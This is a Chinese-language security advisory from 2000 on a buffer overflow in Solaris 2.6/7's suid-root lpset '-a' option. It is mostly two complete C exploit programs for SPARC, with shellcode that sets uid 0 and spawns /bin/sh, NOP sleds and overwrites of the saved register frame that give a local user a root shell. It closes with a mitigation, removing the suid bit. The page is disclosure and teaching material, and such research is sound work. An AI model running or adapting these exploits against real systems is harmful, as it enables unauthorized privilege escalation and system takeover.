安全研究
安全漏洞
Solaris 7 lpset -a 缓冲区溢出漏洞
发布日期:2000-04-27
更新日期:2000-04-27
受影响系统:
Soarlis 2.6 sparc/x86描述:
Solaris 7 sparc/x86
Solaris 2.6和Solaris 7中所带的lpset缺省设置了suid root位,它的一个执行选项"-a"在处
理时存在问题,它会将提供给"-a"的参数不加判断的拷贝到一个固定大小的buffer(900多字节)
中,当用户提供一个包含可执行代码的很长的字符串时,将导致lpset以root身份执行任意命令。
尽管lpset缺省只允许root和sysadm组的用户执行,但是,由于溢出发生在进行执行权限判断操
作之前,任意本地用户都可以利用这个漏洞获取root权限。
(注: 这个问题和lpset -r参数的漏洞是不同的 )
<* 来源: DiGiT - teddi@linux.is
Laurent LEVIER (llevier@ARGOSNET.COM)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
* This is one expoit for lpset in Solaris 2.6/7 sparc version.
* This bug is found by duke of ADM Crew. Credit for him.
* It is one test for writing exploits in Sparc ,just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
* ./lpset_sparc <bufsize> <offset> <align>
* in most cases, bufsize is fixed, offset=1600 is OK .
* If it don't work, you just need adjust align value from 0 to 3.
* e.g:
* ./lpset_sparc 944 1600 0
* or ./lpset_sparc 944 1600 1
* by warning3@hotmail.com
* http://www.isbase.com
* y2k/04/26
*/
#include <stdio.h>
#define BUFSIZE 944 /* the size of overflowed buffer*/
#define EGGSIZE 1024 /* the egg buffer size */
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
#define ALIGN 0 /* If don't work ,try adjust align to 0,1,2,3 */
#define OFFSET 1600 /* OS OFFSET
Solaris 2.6 844 - 1772
Solaris 7 1284 - 2200
So OFFSET=1600 will work well in our exploit.
*/
char shellcode[] = /* from cloudsky's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */
"\x20\x80\x69\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" /* isbase:) */
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
long get_esp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *pattern,eggbuf[EGGSIZE];
long retaddr, i;
long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ;
long *addrptr;
if( argc > 1 ) bufsize = atoi(argv[1]);
if( argc > 2 ) offset = atoi(argv[2]);
if( argc > 3 ) align = atoi(argv[3]);
retaddr = get_esp() + offset;
printf("Usages: %s <bufsize> <offset> <align>\n\n", argv[0] );
printf("Using RET address = 0x%x ,Offset = %d, Align= %d\n", retaddr, offset, align );
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */
memset(pattern+20, 0x3d, 1); /* put '=' into buf , why 20 ? heh, you
can put it in any position .
e.g: pattern+100 ... */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7 */
*addrptr++ = retaddr; /* %l0 */
*addrptr++ = retaddr; /* %l1 */
*addrptr++ = retaddr; /* %l2 */
*addrptr++ = retaddr; /* %l3 */
*addrptr++ = retaddr; /* %l4 */
*addrptr++ = retaddr; /* %l5 */
*addrptr++ = retaddr; /* %l6 */
*addrptr++ = retaddr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = retaddr; /* %i0 */
*addrptr++ = retaddr; /* %i1 */
*addrptr++ = retaddr; /* %i2 */
*addrptr++ = retaddr; /* %i3 */
*addrptr++ = retaddr; /* %i4 */
*addrptr++ = retaddr; /* %i5 */
*addrptr++ = retaddr; /* saved %fp(%i6) */
*addrptr++ = retaddr; /* saved ret addr (%i7) , let's rock! */
/* construct shellcode buffer */
memset(eggbuf,'A',EGGSIZE);
for (i = align; i < EGGSIZE; i+=4){
eggbuf[i+3]=NOP & 0xff;
eggbuf[i+2]=(NOP >> 8 ) &0xff;
eggbuf[i+1]=(NOP >> 16 ) &0xff;
eggbuf[i+0]=(NOP >> 24 ) &0xff;
}
/* Notice : we assume the length of shellcode can be divided exatcly by 4 .
If not, exploit will fail. Anyway, our shellcode is. ;-)
*/
memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode));
memcpy(eggbuf,"EGG=",4);
putenv(eggbuf);
/* why pattern+2? lpset will add "\x20\x22" befor our pattern buffer, so
we have to move backward 2 bytes for alignment.
*/
execl("/usr/bin/lpset", "lpset","-n","fns","-a", (pattern+2), "isbase",NULL);
}
-------------------------------------------------------------------------------------------
#include <unistd.h>
#include <stdio.h>
#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200
#define NOP 0xac15a16e
#define EXSTART 116
char sparc_shellcode[] =
/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp() { asm("mov %sp, %i0"); }
main(int argc, char *argv[]) {
int i,ofs=OFFSET,start=START,end=END;
u_long ret, *ulp;
char *buf;
if (argc > 1) ofs=atoi(argv[1])+8;
if (!(buf = (char *) malloc(BSIZE+2))) {
fprintf(stderr, "out of memory\n");
exit(1);
}
ret = get_sp() - ofs;
for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
*ulp = NOP;
for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;
for (i = 0; i < strlen(sparc_shellcode); i++)
buf[EXSTART+i] = sparc_shellcode[i];
buf[5000]='=';
buf[18000]=0;
fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
ret, strlen(buf)-2, ofs, ofs);
execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);
perror("execl");
}
建议:
chmod u-s /usr/bin/lpset
浏览次数:6296
严重程度:0(网友投票)
绿盟科技给您安全的保障